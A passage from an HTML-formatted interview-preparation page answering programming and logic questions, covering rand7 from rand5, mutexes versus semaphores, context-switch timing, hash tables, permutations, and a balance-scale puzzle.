&lt;pre&gt;
&lt;b&gt;int&lt;/b&gt; rand7(){
  &lt;b&gt;int&lt;/b&gt; k = rand5() + rand5() + rand5() + rand5() + rand5() + rand5() + rand5();
  &lt;b&gt;return&lt;/b&gt; k / 5;
}
&lt;/pre&gt;
&lt;p&gt;
Extending it for any other number:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;int&lt;/b&gt; rand_any_number_using_rand5(&lt;b&gt;int&lt;/b&gt; new_base) {
     &lt;b&gt;int&lt;/b&gt; k = 0;
     &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 1; i &amp;lt; new_base; i++) {
          k += rand5();
     }
     &lt;b&gt;return&lt;/b&gt; k / new_base;
}
&lt;/pre&gt;
&lt;p&gt;
Or in Java:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;import&lt;/b&gt; java.util.Random;
&lt;b&gt;public class&lt;/b&gt; Rand {
     Random r = new Random();
     &lt;b&gt;int&lt;/b&gt; rand7() {
          &lt;b&gt;int&lt;/b&gt; s = r.nextInt(5);
          &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; 6; i++) {
                s += r.nextInt(5);
          }
          &lt;b&gt;return&lt;/b&gt; s % 7;
     }
}
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;2. Proof that these methods are wrong&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
let&apos;s try the following program:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;import&lt;/b&gt; java.util.Arrays;

&lt;b&gt;public class&lt;/b&gt; RandUtils {
    
    &lt;b&gt;public static void&lt;/b&gt; main (String[] args) {
        &lt;b&gt;int&lt;/b&gt;[] count = new int[7];
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; 50000; i++) {
            &lt;b&gt;int&lt;/b&gt; rand = rand7();
            count[rand] = count[rand] + 1;
        }
        System.err.println (Arrays.toString(count));
    }
    
    &lt;b&gt;static int&lt;/b&gt; rand7() {
        &lt;b&gt;double&lt;/b&gt; retValue = 0;
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; 7; i++) {
            retValue += rand5();
        }
        &lt;b&gt;return&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt;) retValue / 5;
    }
    
    &lt;b&gt;static int&lt;/b&gt; rand5 () {
        &lt;b&gt;return&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt;) (Math.random() * 5.0 + 1.0);
    }

}
&lt;/pre&gt;
&lt;p&gt;
Which gives :
&lt;/p&gt;
&lt;pre&gt;
[0, 9767, 10019, 9962, 10111, 10141, 0]
&lt;/pre&gt;
&lt;p&gt;
This is obvious since there are more posibilities to build the middle values than the extreme values.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;3. Correct solution&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
A correct solution should consist in finding a way using rand5() to select with the same probability any of the numbers between 1 and X.
&lt;/p&gt;
&lt;p&gt;
A binary search can be used to do the trick:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;public class&lt;/b&gt; RandUtils {
    
    &lt;b&gt;public static void&lt;/b&gt; main (String[] args) {
        &lt;b&gt;int&lt;/b&gt;[] count = new int[7];
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; 50000; i++) {
            &lt;b&gt;int&lt;/b&gt; rand = rand7();
            count[rand - 1] = count[rand - 1] + 1;
        }
        System.err.println (Arrays.toString(count));
    }
    
    &lt;b&gt;static int&lt;/b&gt; rand7() {
        &lt;b&gt;return&lt;/b&gt; randXInt(1, 7);
    }
    
    &lt;b&gt;static int&lt;/b&gt; randXInt(&lt;b&gt;int&lt;/b&gt; start, &lt;b&gt;int&lt;/b&gt; end) {
        
        &lt;b&gt;if&lt;/b&gt; (start == end) {
            &lt;b&gt;return&lt;/b&gt; start;
        }
        
        // if the number of values in range is odd, make it even
        // (otherwise the distibution would be biased since an element would
        // have twice more chance to appear than others)
        &lt;b&gt;int&lt;/b&gt; effEnd = end;
        &lt;b&gt;if&lt;/b&gt; ((end - start + 1) % 2 != 0 ) {
            effEnd++;
        }
        
        &lt;b&gt;int&lt;/b&gt; pivot = (effEnd - start) / 2 + start;
        
        // two first values of rand 5 makes us go left, two last right
        &lt;b&gt;int&lt;/b&gt; retValue = 0;
        &lt;b&gt;int&lt;/b&gt; rand = 0;
        &lt;b&gt;do&lt;/b&gt; {
            rand = rand5();
            &lt;b&gt;if&lt;/b&gt; (rand == 1 || rand == 2) {
                retValue = randXInt (start, pivot);
            } &lt;b&gt;else if&lt;/b&gt; (rand == 4 || rand == 5) {
                retValue = randXInt (pivot + 1, effEnd);
            }  
        } &lt;b&gt;while&lt;/b&gt; (rand == 3);
        
        &lt;b&gt;if&lt;/b&gt; (end != effEnd &amp;&amp; retValue == effEnd) {
            // retry
            &lt;b&gt;return&lt;/b&gt; randXInt(start, end);
        }
        &lt;b&gt;return&lt;/b&gt; retValue;
    }

    &lt;b&gt;static int&lt;/b&gt; rand5 () {
        &lt;b&gt;return&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt;) (Math.random() * 5.0 + 1.0);
    }   
}
&lt;/pre&gt;
&lt;p&gt;
Which gives:
&lt;/p&gt;
&lt;pre&gt;
[7150, 7228, 7033, 7281, 7049, 7156, 7103]
&lt;/pre&gt;
&lt;p&gt;
Hence a pretty uniform distribution. &lt;br&gt;
Time complexity is O(log n) and space complexity O(log n) as well (function calls on the stack).
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt30a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;30.a.&lt;/b&gt; The probability of a car passing a certain intersection in a 20 minute windows is 0.9. What is the probability of a car passing the intersection in a 5 minute window? (Assuming a constant probability throughout)
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt30a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Let&apos;s start by creating an equation. Let x be the probability of a car passing the intersection in a 5 minute window.
&lt;/p&gt;
&lt;p&gt;
Probability of a car passing in a 20 minute window = 1 - (probability of no car passing in a 20 minute window) &lt;br&gt;
Probability of a car passing in a 20 minute window = 1 - (1 - probability of a car passing in a 5 minute window)^4&lt;br&gt;
0.9 = 1 - (1 - x)^4&lt;br&gt;
(1 - x)^4 = 0.1&lt;br&gt;
1 - x = 10^(-0.25)&lt;br&gt;
x = 1 - 10^(-0.25) = 0.4377&lt;br&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt30b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;30.b.&lt;/b&gt; You are given biased coin. Find unbiased decision out of it?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt30b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Throw the biased coin twice. Classify it as true for HT and false for TH.
&lt;/p&gt;
&lt;p&gt;
Both of these occur with probability=p*(1-p),hence unbiased. Ignore the other 2 events namely HH and TT.
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://sudhansu-codezone.blogspot.ch/2012/02/unbiased-decision-from-biased-coin.html&quot;&gt;http://sudhansu-codezone.blogspot.ch/2012/02/unbiased-decision-from-biased-coin.html&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt31&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;31.&lt;/b&gt; What is the difference between a mutex and a semaphore? &lt;br&gt;
Which one would you use to protect access to an increment operation?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt31&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
(Very simple answer: A Mutex is a Semaphore with value 1)
&lt;/p&gt;
&lt;p&gt;
Mutexes are typically used to serialise access to a section of re-entrant code that cannot be executed concurrently by more than one thread. A mutex object only allows 
one thread into a controlled section, forcing other threads which attempt to gain access to that section to wait until the first thread has exited from that section
&lt;/p&gt;
&lt;p&gt;
A semaphore restricts the number of simultaneous users of a shared resource up to a maximum number. Threads can request access to the resource (decrementing the 
semaphore), and can signal that they have finished using the resource (incrementing the semaphore). A semaphore is initialized with the number of threads that can 
use it concurrently (the initial value). A binary semaphore enables one single thread at a time.
&lt;/p&gt;
&lt;p&gt;
The mutex is similar to the principles of the binary semaphore with one significant difference: the principle of ownership. Ownership is the simple concept that 
when a task locks (acquires) a mutex, then only it can unlock (release) it. If a task tries to unlock a mutex it hasn&apos;t locked (thus doesn&apos;t own) then an error condition 
is encountered and, most importantly, the mutex is not unlocked. If the mutual exclusion object doesn&apos;t have ownership then, irrelevant of what it is called, it is
 not a mutex.
&lt;/p&gt;
&lt;p&gt;
With a Mutex, no other thread can unlock the lock in your thread. With &quot;binary-semaphore&quot; any other thread can unlock the lock in your thread. So, if you are very 
particular about using binary-semaphore instead of mutex, then you should be very careful in &quot;scoping&quot; the locks and unlocks. I mean that every control-flow that
hits every lock should hit an unlock call, also there shouldn&apos;t be any &quot;first unlock&quot;, rather it should be always &quot;first lock&quot;.
&lt;/p&gt;
&lt;p&gt;
In order to protect access to an increment operation, the underlying variable should be considered as a protected resource, hence a mutex seems more appropriate.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt32&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;32.&lt;/b&gt; Write a C program which measures the the speed of a context switch on a UNIX/Linux system.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt32&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Key idea: &lt;br&gt;
Use two programs that perform a lot of computation and saturate the CPU on a single CPU machine. Then force these programs to trigger context switches 
(by calling yield, not an IO since we don&apos;t want to measure the time lost on IOs). Measure the time used by the programs for actual computation. 
&lt;/p&gt;
&lt;p&gt;
The total execution (elapses) time minus the computation time is the time actually used for all the 
context switches. The time required for a context switch.
&lt;/p&gt;
&lt;p&gt;

The program should be designed such a way that its computation time is below the time quantom and that it doesn&apos;t trigger unwanted context switches (IOs, wait, etc.)
&lt;/p&gt;
&lt;p&gt;
Write a program that :
&lt;p&gt;
&lt;ul&gt;
     &lt;li&gt;Initialize &apos;duration&apos; to 0&lt;/li&gt;
     &lt;li&gt;Run a loop, let&apos;s say 100k times: 
        &lt;ul&gt;
          &lt;li&gt;Get current system time tick, nanosecond precision and store in &apos;start&apos;&lt;/li&gt;
          &lt;li&gt;Performs an operation (like incrementing a dummy variable 100k times) hopefully below the time quantum, &lt;br&gt;
          Let&apos;s admit that it should last a few milliseconds only.&lt;/li&gt;
          &lt;li&gt;Increment &apos;yield_count&apos;&lt;/li&gt; 
          &lt;li&gt;Set &apos;duration&apos; += getCurrentSystemTick() - &apos;start&apos;&lt;/li&gt;
          &lt;li&gt;Call yield() system call to give up its execution and force the scheduler to schedule another process&lt;/li&gt;
        &lt;/ul&gt;
     &lt;/li&gt;
     &lt;li&gt;Echo duration on the console&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
The program should be executed on a system with a very minimal set of systems threads and almost no other processes (in order to avoid interference).
&lt;/p&gt;
&lt;p&gt;
Then one only needs to execute this program twice at the same time, measure the time of completion of both processes and store that time in &apos;total&apos;
&lt;/p&gt;
&lt;p&gt;
A rough approximation of a context switch (at process level) is then: &lt;br&gt;
(&apos;total&apos; - (&apos;duration a&apos; + &apos;duration b&apos;)) / 200k
&lt;/p&gt;
&lt;p&gt;
The same approach shiuld be usable to measure the time of a context switch at thread level by using posix threads instead of distincts processes.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt33&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;33.&lt;/b&gt; Design a class library for writing card games.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt33&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I would implement the following classes:
&lt;/p&gt;
&lt;ul&gt;
     &lt;li&gt;&lt;b&gt;Game:&lt;/b&gt; a class that represents the card game, which contains decks, cards and sets of players. &lt;/li&gt;
     &lt;li&gt;&lt;b&gt;Deck:&lt;/b&gt; a stack of cards that could be initialized and used as the full cards deck (52 cards) and drawn from it to other decks like player hands or ground stacks.&lt;/li&gt;
     &lt;li&gt;&lt;b&gt;Card:&lt;/b&gt; the actual card object.&lt;/li&gt;
     &lt;li&gt;&lt;b&gt;Combination:&lt;/b&gt; Any arbitrary set of cards
     &lt;li&gt;&lt;b&gt;Player:&lt;/b&gt; represents a player which may hold a combination&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
One can imagine the following attributes and/or methods for each class:
&lt;/p&gt;
&lt;pre&gt;
|--------------------------|     |--------------------------|     |-------------------------|  
|         Game             |     |      Deck                |     |      Card               |   
|--------------------------|     |--------------------------|     |-------------------------|   
| - String name            |     | - abstract format        |     | - Family family         |     
| - Set&amp;lt;Player&gt; cards      |     | - Set&amp;lt;Card&gt; cards        |     | - number                |     
| - Deck deck              |     |--------------------------|     |-------------------------|     
|--------------------------|     | Combin. pickUp (int nbr) |     | bool beats (Card other) |     
| void draw(Window wnd)    |     | int remainingCnt()       |     |-------------------------|     
|--------------------------|     | void putBack (Comb. cmb) |                                     
                                 |--------------------------|                                     
								 
|-------------------------|     |-------------------------|								 
|      Combination        |     |      Player             |
|-------------------------|     |-------------------------|   
| - Set&amp;lt;Card&gt; cards       |     | - int number            | 
|-------------------------|     | - Combination comb      | 
| int numberCards()       |     |-------------------------|
| bool beats (Comb. other)|
| void add (Card card)    |
| void remove (Card card) |
|-------------------------|
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt34&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;34.&lt;/b&gt; Tree search algorithms. Write BFS and DFS code, explain run time and space requirements. Modify the code to handle trees with weighted edges and loops with BFS and DFS, make the code print out path to goal state.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt34&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
For both algorithms, the case of a Tree is just as sub case of the graph search BFS algorithm seen &lt;a href=&quot;#BFS_graph&quot;&gt;here&lt;/a&gt; and the DFS algorithm seen &lt;a href=&quot;#DFS_graph&quot;&gt;here&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
The difference between tree-search and graph-search is that the graph-search algorithms need to keep track of visited nodes since a graph can have cycles, whereas a tree cannot hence no neeed to keep track of already visited nodes (a node can never get visited twice in a tree).
&lt;/p&gt;
&lt;p&gt;
Complexity of BFS in terms of run time is O(n) and space O(1). &lt;br&gt;
Complexity of DFS in terms of run time is O(n) and space O(n). &lt;br&gt;
&lt;/p&gt;
&lt;p&gt;
To take into consideration weighted edges a first idea would be to handle edges in the order given by the sorted weights.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt35&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;35.&lt;/b&gt; Write some code to find all permutations of the letters in a particular string.&lt;br&gt;
&lt;span style=&quot;color: green&quot;&gt;[Permutation generation algo]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt35&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
First a note on permutations:
&lt;/p&gt;
&lt;p&gt;
When considering sequences of a fixed length k of elements taken from a given set of size n. These objects are also known as partial permutations or as sequences without repetition, terms that avoids confusion with the other, more common, meanings of &quot;permutation&quot;. The number of such k-permutations of n is denoted.
&lt;/p&gt;
&lt;img alt=&quot;Number of permutation formula&quot; src=&quot;http://upload.wikimedia.org/math/6/4/e/64e3b6b66325a8bcb06a6ad3d703102d.png&quot; /&gt;
&lt;p&gt;
In this case we are facing simplier permutations in an array of size n, &lt;b&gt;hence n!&lt;/b&gt; possibilities.
&lt;/p&gt;
&lt;pre&gt;
perm(a)     = [a]
perm(ab)    = [perma(a).perm(b), perma(b).perm(a)]
perm(abc)   = [perma(a).perm(bc), perma(b).perm(a).perm(c), perma(c).perm(a).perm(b), perma(bc).perm(a)]
perm(abcd)  = [perm(a).perm(bcd), perm(b).perm(a).perm(cd), ...]
...
&lt;/pre&gt;
&lt;p&gt;
&lt;span style=&quot;color: red;&quot;&gt;Is there any way to define a resursive notation ?&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
Let&apos;s write an algorithm that does just that:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;import&lt;/b&gt; java.util.ArrayList;
&lt;b&gt;import&lt;/b&gt; java.util.List;

&lt;b&gt;public class&lt;/b&gt; TestPermute {

     &lt;b&gt;public static void&lt;/b&gt; main(String[] args) {
          &lt;b&gt;for&lt;/b&gt; (String in : permute (&quot;abcd&quot;)) {
                System.err.println (in);
          }
     }

     &lt;b&gt;private static&lt;/b&gt; List&amp;lt;String&gt; permute(String string) {
          List&amp;lt;String&gt; permutations = &lt;b&gt;new&lt;/b&gt; ArrayList&amp;lt;String&gt;();          
          &lt;b&gt;if&lt;/b&gt; (string.length() &gt; 1) {
                &lt;b&gt;char&lt;/b&gt; fixed = string.charAt(0);
                &lt;b&gt;for&lt;/b&gt; (String other :  permute (string.substring(1))) {
                     permutations.add (fixed + other);
                     &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 1; i &amp;lt; other.length(); i++) {
                          permutations.add (other.substring(0, i) + fixed + other.substring(i));
                     }
                     permutations.add (other + fixed);
                }
          } &lt;b&gt;else&lt;/b&gt; {
                permutations.add (string);
          }
          &lt;b&gt;return&lt;/b&gt; permutations;
     }

}
&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt36a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;36.a.&lt;/b&gt; What is a hash table ahd how is it typically implemented ?&lt;br&gt;
&lt;span style=&quot;color: green&quot;&gt;[Hash Table principle]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt36a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
A hash table (also hash map) is a data structure used to implement an associative array, a structure that can map keys to values. A hash table uses a hash function to compute an index into an array of buckets or slots, from which the correct value can be found.
&lt;/p&gt;
&lt;p&gt;
Ideally, the hash function should assign each possible key to a unique bucket, but this ideal situation is rarely achievable in practice (unless the hash keys are fixed; i.e. new entries are never added to the table after it is created). Instead, most hash table designs assume that hash collisions-different keys that are assigned by the hash function to the same bucket-will occur and must be accommodated in some way.
&lt;/p&gt;
&lt;p&gt;
In a well-dimensioned hash table, the average cost (number of instructions) for each lookup is independent of the number of elements stored in the table. Many hash table designs also allow arbitrary insertions and deletions of key-value pairs, at constant average (amortized indeed) cost per operation
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Choosing a good hash function&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
A good hash function and implementation algorithm are essential for good hash table performance, but may be difficult to achieve.
&lt;/p&gt;
&lt;p&gt;
A basic requirement is that the function should provide a uniform distribution of hash values. A non-uniform distribution increases the number of collisions, and the cost of resolving them. Uniformity is sometimes difficult to ensure by design, but may be evaluated empirically using statistical tests, e.g. a Pearson&apos;s chi-squared test for discrete uniform distributions.
&lt;/p&gt;
&lt;p&gt;
The distribution needs to be uniform only for table sizes s that occur in the application. In particular, if one uses dynamic resizing with exact doubling and halving of s, the hash function needs to be uniform only when s is a power of two. On the other hand, some hashing algorithms provide uniform hashes only when s is a prime number.
&lt;/p&gt;
&lt;p&gt;
For open addressing schemes, the hash function should also avoid clustering, the mapping of two or more keys to consecutive slots. Such clustering may cause the lookup cost to skyrocket, even if the load factor is low and collisions are infrequent. The popular multiplicative hash[3] is claimed to have particularly poor clustering behavior.
&lt;/p&gt;
&lt;p&gt;
Cryptographic hash functions are believed to provide good hash functions for any table size s, either by modulo reduction or by bit masking. They may also be appropriate, if there is a risk of malicious users trying to sabotage a network service by submitting requests designed to generate a large number of collisions in the server&apos;s hash tables. However, the risk of sabotage can also be avoided by cheaper methods (such as applying a secret salt to the data, or using a universal hash function).
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Collision resolution&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Hash collisions are practically unavoidable when hashing a random subset of a large set of possible keys. For example, if 2,500 keys are hashed into a million buckets, even with a perfectly uniform random distribution, according to the birthday problem there is a 95% chance of at least two of the keys being hashed to the same slot.
&lt;/p&gt;
&lt;p&gt;
Therefore, most hash table implementations have some collision resolution strategy to handle such events. Some common strategies are described below. All these methods require that the keys (or pointers to them) be stored in the table, together with the associated values.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Sol 1. seperate chaining&lt;/b&gt;
&lt;/p&gt;
&lt;img alt=&quot;Hash Table separate chaining&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/d/d0/Hash_table_5_0_1_1_1_1_1_LL.svg/450px-Hash_table_5_0_1_1_1_1_1_LL.svg.png&quot; /&gt;
&lt;p&gt;
In the method known as &lt;b&gt;separate chaining&lt;/b&gt;, each bucket is independent, and has some sort of list of entries with the same index. The time for hash table operations is the time to find the bucket (which is constant) plus the time for the list operation. (The technique is also called open hashing or closed addressing.)
&lt;/p&gt;
&lt;p&gt;
In a good hash table, each bucket has zero or one entries, and sometimes two or three, but rarely more than that. Therefore, structures that are efficient in time and space for these cases are preferred. Structures that are efficient for a fairly large number of entries are not needed or desirable. If these cases happen often, the hashing is not working well, and this needs to be fixed.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Sol 2. Open addressing&lt;/b&gt;
&lt;/p&gt;
&lt;img alt=&quot;Hash Table open addressing&quot;  src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/Hash_table_5_0_1_1_1_1_0_SP.svg/380px-Hash_table_5_0_1_1_1_1_0_SP.svg.png&quot;/&gt;
&lt;p&gt;
In another strategy, called open addressing, all entry records are stored in the bucket array itself. When a new entry has to be inserted, the buckets are examined, starting with the hashed-to slot and proceeding in some probe sequence, until an unoccupied slot is found. When searching for an entry, the buckets are scanned in the same sequence, until either the target record is found, or an unused array slot is found, which indicates that there is no such key in the table.[12] The name &quot;open addressing&quot; refers to the fact that the location (&quot;address&quot;) of the item is not determined by its hash value. (This method is also called closed hashing; it should not be confused with &quot;open hashing&quot; or &quot;closed addressing&quot; that usually mean separate chaining.)
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Advantages&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The main advantage of hash tables over other table data structures is speed. This advantage is more apparent when the number of entries is large. Hash tables are particularly efficient when the maximum number of entries can be predicted in advance, so that the bucket array can be allocated once with the optimum size and never resized.
&lt;/p&gt;
&lt;p&gt;
If the set of key-value pairs is fixed and known ahead of time (so insertions and deletions are not allowed), one may reduce the average lookup cost by a careful choice of the hash function, bucket table size, and internal data structures. In particular, one may be able to devise a hash function that is collision-free, or even perfect (see below). In this case the keys need not be stored in the table.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Drawbacks&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Although operations on a hash table take constant time on average, the cost of a good hash function can be significantly higher than the inner loop of the lookup algorithm for a sequential list or search tree. Thus hash tables are not effective when the number of entries is very small. (However, in some cases the high cost of computing the hash function can be mitigated by saving the hash value together with the key.)
&lt;/p&gt;
&lt;p&gt;
For certain string processing applications, such as spell-checking, hash tables may be less efficient than tries, finite automata, or Judy arrays. Also, if each key is represented by a small enough number of bits, then, instead of a hash table, one may use the key directly as the index into an array of values. Note that there are no collisions in this case.
&lt;/p&gt;
&lt;p&gt;
The entries stored in a hash table can be enumerated efficiently (at constant cost per entry), but only in some pseudo-random order. Therefore, there is no efficient way to locate an entry whose key is nearest to a given key. Listing all n entries in some specific order generally requires a separate sorting step, whose cost is proportional to log(n) per entry. In comparison, ordered search trees have lookup and insertion cost proportional to log(n), but allow finding the nearest key at about the same cost, and ordered enumeration of all entries at constant cost per entry.
&lt;/p&gt;
&lt;p&gt;
If the keys are not stored (because the hash function is collision-free), there may be no easy way to enumerate the keys that are present in the table at any given moment.
&lt;/p&gt;
&lt;p&gt;
Although the average cost per operation is constant and fairly small, the cost of a single operation may be quite high. In particular, if the hash table uses dynamic resizing, an insertion or deletion operation may occasionally take time proportional to the number of entries. This may be a serious drawback in real-time or interactive applications.
&lt;/p&gt;
&lt;p&gt;
O(n) memory and O(1 + n/k) comparisons for lookup in the simplest model (table of size k with chaining and n keys).
&lt;/p&gt;
&lt;p&gt;
(Source : wikipedia under &lt;a href=&quot;http://en.wikipedia.org/wiki/Hash_table#Collision_resolution&quot;&gt;http://en.wikipedia.org/wiki/Hash_table#Collision_resolution&lt;/a&gt;)
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt36b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;36.b&lt;/b&gt; When would you use a binary tree vs. a hash map (hash table)?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt36b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Short answer : &lt;/b&gt;
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;Use a &lt;b&gt;binary search tree&lt;/b&gt; when there is a strong need to &lt;b&gt;keep the data sorted&lt;/b&gt; in the data structure.&lt;/li&gt;
    &lt;li&gt;Use a &lt;b&gt;Hash Table&lt;/b&gt; when there is a strong need to have an average &lt;b&gt;very fast retrieval (lookup) time&lt;/b&gt; (highly dependent however on the design of the hash table)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Has table are indeed deemed faster for lookup in average when the key generates a uniform distribution and the load factor is low. In this case lookup can be as good as O(1) while the search tree is rather O(log n).
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Other considerations:&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Hash Tables:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;Caution with HashTable:  they have got bad performance (O(n)) at the worst case (all elements in the same bucket, i.e same hash for all elements) &lt;/li&gt;
    &lt;li&gt;Hash Table can use a lot of extra empty space (for instance, 256 entries resevered for only 8 elements in the end)&lt;/li&gt;
    &lt;li&gt;A worthy point on a modern architecture: A Hash table will usually, if its load factor is low, have fewer memory reads than a binary tree will. Since memory 
        access tend to be rather costly compared to burning CPU cycles, the Hash table is often faster.
    &lt;/li&gt;
    &lt;li&gt;On the other hand, if you need to rehash everything in the hash table when you decide to extend it, this may be a costly operation which occur (amortized). &lt;br&gt;
        Binary trees does not have this limitation.
    &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Binrary search trees;
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;Operations (insert, search, etc.) are &lt;b&gt;guaranteed&lt;/b&gt; O(h). If the tree is a balanced binary search tree, then O(h) = O(log n)&lt;br&gt;
        (Understand blanced binary search Trees are O(log n) guaranteed in the worst case while HashTable can turn to O(n) in the worst case.)
    &lt;/li&gt;
    &lt;li&gt;Less extra space except &lt;i&gt;n&lt;/i&gt; pointers&lt;/li&gt;
    &lt;li&gt;Trees tend to be the &quot;average performer&quot;. There are nothing they do particularly well, but then nothing they do particularly bad.&lt;/li&gt;
    &lt;li&gt;A binary search tree requires a total order relationship among the keys. A hash table requires only an equivalence or identity 
        relationship with a consistent hash function.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt37a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;37.a.&lt;/b&gt; You have eight balls all of the same size. 7 of them weigh the same, and one of them weighs slightly more. How can you find the ball that is heavier by using a 
balance and only two weightings?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt37a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Put three balls in each pan and weigh.
&lt;/p&gt;
&lt;ol&gt;
     &lt;li&gt;If they are equal then the heavier ball is between the two balls that are left un-weighed. Put each of the two unweigthtd balls on each pan and weigh, the heavier ball is the culprit.&lt;/li&gt;
